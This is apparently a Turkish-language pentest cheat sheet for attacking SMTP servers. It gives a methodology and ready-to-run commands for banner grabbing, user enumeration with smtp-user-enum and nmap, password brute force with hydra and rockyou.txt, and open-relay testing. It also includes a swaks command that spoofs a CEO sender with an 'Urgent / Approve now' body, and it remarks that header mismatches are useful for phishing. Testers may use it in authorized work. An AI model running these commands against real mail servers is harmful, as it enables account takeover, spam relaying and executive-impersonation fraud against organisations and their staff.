SMTP Commands

network smtp

SMTP (25/465/587) banner, kullanıcı enum, open relay ve kimlik brute için zengin bir yüzeydir. Komut diyalogunu elle konuşmak NSE kadar değerlidir.

Metodoloji

1. Banner ve desteklenen komutları (EHLO) al.

2. VRFY/EXPN/RCPT ile kullanıcı enum dene.

3. AUTH mekanizmalarını ve brute’u çalıştır.

4. Open relay ve smuggling hipotezlerini doğrula.

Keşif

nmap -Pn -sV -p25,465,587 --script smtp-commands,smtp-enum-users,smtp-open-relay TARGET

nc -nv TARGET 25

openssl s_client -connect TARGET:465 -crlf

openssl s_client -starttls smtp -connect TARGET:587 -crlf

Temel diyalog

EHLO pentest.local

VRFY root

EXPN staff

MAIL FROM:<attacker@evil.com>

RCPT TO:<victim@corp.local>

DATA

Subject: test

body
.

QUIT

Kullanıcı enum

smtp-user-enum -M VRFY -U users.txt -t TARGET

smtp-user-enum -M EXPN -U users.txt -t TARGET

smtp-user-enum -M RCPT -U users.txt -t TARGET -f attacker@evil.com

nmap -p25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} TARGET

AUTH brute

EHLO a
AUTH LOGIN

hydra -L users.txt -P rockyou.txt smtp://TARGET

hydra -L users.txt -P rockyou.txt smtp://TARGET -s 587 -S

swaks --to victim@corp.local --from attacker@corp.local --server TARGET --auth LOGIN --auth-user user --auth-password pass --body 'x'

Open relay

nmap -p25 --script smtp-open-relay TARGET

swaks --to external@gmail.com --from spoof@corp.local --server TARGET --body 'relay-test'

MAIL FROM/RCPT TO dış domain kabul ediyorsa relay

Spoof / header

swaks --to victim@corp.local --from ceo@corp.local --server TARGET --header 'Subject: Urgent' --body 'Approve now'

From / Reply-To / Return-Path tutarsızlıkları phishing için

Checklist

[ ] EHLO/capabilities alındı
[ ] VRFY/EXPN/RCPT enum denendi
[ ] AUTH brute / geçerli hesap
[ ] Open relay doğrulandı veya elendi
[ ] Spoof / smuggling için sonraki adım not edildi